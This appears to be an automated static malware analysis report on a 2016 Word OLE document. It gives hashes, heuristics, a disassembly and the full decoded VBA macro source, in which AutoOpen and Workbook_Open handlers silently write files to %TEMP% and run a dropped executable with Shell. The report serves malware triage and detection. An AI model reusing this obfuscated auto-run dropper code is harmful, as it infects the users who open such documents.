Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ece8adad59f98e5…

MALICIOUS

Office (OLE)

215.5 KB Created: 2016-03-16 11:14:00 Authoring application: Microsoft Office Word First seen: 2016-03-27
MD5: 4cac78a7b51bd8815d3d06e5bdb3bcc8 SHA-1: 93ec7a3b92f65852bb0250d07789117d279b2d80 SHA-256: 5ece8adad59f98e5ae6a0034e8008a7bdb74729c11b3ff8f126ff4dac4ff3d01
774 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OLE document containing obfuscated VBA macros. The macros utilize `CreateObject` and `Shell` calls to execute an embedded PE file named 'embedded_office_00006250.exe'. The script also attempts to save files to the user's public directory, such as 'C:\Users\Public\nbhgew.exe' and 'C:\Users\Public\at2.exe', indicating a payload delivery mechanism.

Heuristics 20

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: BC.Win.Packer.Troll-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: BC.Win.Packer.Troll-14
  • XOR-encoded strings (key 0xCA) critical SC_XOR_ENCODED
    Found 8 Windows library/API name(s) XOR-encoded with single-byte key 0xCA: 'advapi32.dll', 'wininet.dll', 'shell32.dll', 'shlwapi.dll', 'KERNEL32.DLL', 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly
    Attempted x86 opcode disassembly
    0000C679  ab                stosd dword ptr es:[edi], eax
0000C67A  ae                scasb al, byte ptr es:[edi]
0000C67B  bcabbaa3f9        mov esp, 0xf9a3baab
0000C680  f8                clc
0000C681  e4ae              in al, 0xae
0000C683  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C684  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C685  caa5a6            retf 0xa6a5
0000C688  af                scasd eax, dword ptr es:[edi]
0000C689  f9                stc
0000C68A  f8                clc
0000C68B  e4ae              in al, 0xae
0000C68D  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C68E  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C68F  cab9a2            retf 0xa2b9
0000C692  af                scasd eax, dword ptr es:[edi]
0000C693  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C694  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C695  f9                stc
0000C696  f8                clc
0000C697  e4ae              in al, 0xae
0000C699  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C69A  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C69B  cab9a2            retf 0xa2b9
0000C69E  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C69F  bdabbaa3e4        mov ebp, 0xe4a3baab
0000C6A4  ae                scasb al, byte ptr es:[edi]
0000C6A5  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6A6  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6A7  cabfb8            retf 0xb8bf
0000C6AA  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6AB  a7                cmpsd dword ptr [esi], dword ptr es:[edi]
0000C6AC  a5                movsd dword ptr es:[edi], dword ptr [esi]
0000C6AD  a4                movsb byte ptr es:[edi], byte ptr [esi]
0000C6AE  e4ae              in al, 0xae
0000C6B0  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6B1  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6B2  cabfb9            retf 0xb9bf
0000C6B5  af                scasd eax, dword ptr es:[edi]
0000C6B6  b8f9f8e4ae        mov eax, 0xaee4f8f9
0000C6BB  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6BC  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6BD  cabfb9            retf 0xb9bf
0000C6C0  af                scasd eax, dword ptr es:[edi]
0000C6C1  b8afa4bce4        mov eax, 0xe4bca4af
0000C6C6  ae                scasb al, byte ptr es:[edi]
0000C6C7  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6C8  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6C9  cabda3            retf 0xa3bd
0000C6CC  a4                movsb byte ptr es:[edi], byte ptr [esi]
0000C6CD  a3a4afbee4        mov dword ptr [0xe4beafa4], eax
0000C6D2  ae                scasb al, byte ptr es:[edi]
0000C6D3  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6D4  a6                cmpsb byte ptr [esi], byte ptr es:[edi]
0000C6D5  cabdb9            retf 0xb9bd
0000C6D8  a5                movsd dword ptr es:[edi], dword ptr [esi]
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim vre As Variant
vre = Shell(ter, 0)
End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    VNJKASD = "asjjd a;lsk"
Set bvgsGvwg = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bvgsGvwg.Visible = rqpd
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    VNJKASD = "asjjd a;lsk"
Set bvgsGvwg = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bvgsGvwg.Visible = rqpd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    NVJHASD = "p1o2le ;k1lej1"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    Podwe
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    Podwe
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    KJSWQ = YhhrJne(3 + 90 + dqpd)
BBHDW = Environ$(WUNBS) + KJSWQ
HGYU = "."
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1997 bytes
SHA-256: be0738975855a1c3c6028ee0efd8c19f419399b0f5e525e82daff1bbd759eee0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Yybfw()
    Podwe
End Sub
Sub Podwe()

Dim rqpd As Boolean, dqpd As Integer



dqpd = 7 - 8
WUNBS = UHbdd()
WUNBS = WUNBS & "P"
rqpd = False
On Error Resume Next
Dim WOIEW As String
KJSWQ = YhhrJne(3 + 90 + dqpd)
BBHDW = Environ$(WUNBS) + KJSWQ
HGYU = "."
WWKKN = HGYU + "e"
WWKKN = WWKKN & "x" & "e"
DEIBE = HGYU & "rt" & YhhrJne(99 + 3)
CFDVE = BBHDW
OPLER = CFDVE

BBBVQWGD = BBHDW + "nbhgew" + DEIBE
DDDHUQWD = OPLER & "bogart" + DEIBE
WOIEW = CFDVE + "at2" & WWKKN

Rupaska (BBBVQWGD)
Rupaska (DDDHUQWD)

Module1.Tsokj
RLKDW = BBHDW + "nbhgew" & ".r" & "" & "tf"
VNJKASD = "asjjd a;lsk"
Set bvgsGvwg = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bvgsGvwg.Visible = rqpd
bvgsGvwg.Documents.Open (RLKDW)
Module1.Geurn (2)
HYUASGD = Module1.Daska(WOIEW)
Module1.Geurn (3)
bvgsGvwg.Quit
Set bvgsGvwg = Nothing
End Sub
Public Function YhhrJne(wbrw As Integer)
    YhhrJne = Chr(wbrw)
End Function
Public Function UHbdd()
    UHbdd = "T" & "EM"
End Function
Sub Workbook_Open()
    Podwe
End Sub
Sub AutoOpen()
    NVJHASD = "p1o2le ;k1lej1"
    Yybfw
End Sub
Public Function Rupaska(fuhw As String)
ActiveDocument.SaveAs FileName:=fuhw, FileFormat:=wdFormatRTF
End Function
Sub Auto_Open()
    Podwe
End Sub





















Attribute VB_Name = "Module1"
Sub Geurn(Pwen As Long)
uhdbw = 3 + 1
Dim Pmfw As Long

Dim Terw As Long
Terw = Pwen + Timer
Pmfw = Terw
Do While Timer < Pmfw
DoEvents
Loop
End Sub
Public Function Daska(ter As String)
Dim vre As Variant
vre = Shell(ter, 0)
End Function
Sub Tsokj()
VHUIQW = "asjkdl askdhjak"
Geurn (2)
End Sub
embedded_office_00006250.exe embedded-pe Office MZ+PE at offset 0x6250 195504 bytes
SHA-256: 688c2022e250239ccc927da810b3c3d78c8141b76bb5820584e43e3002d930aa
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1519658271/Ole10Native 170706 bytes
SHA-256: 3c20e897a01f37ce4c47d72294e2349f999e9bee3e6d9f10f30f74e09cc5587f
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: unlikely

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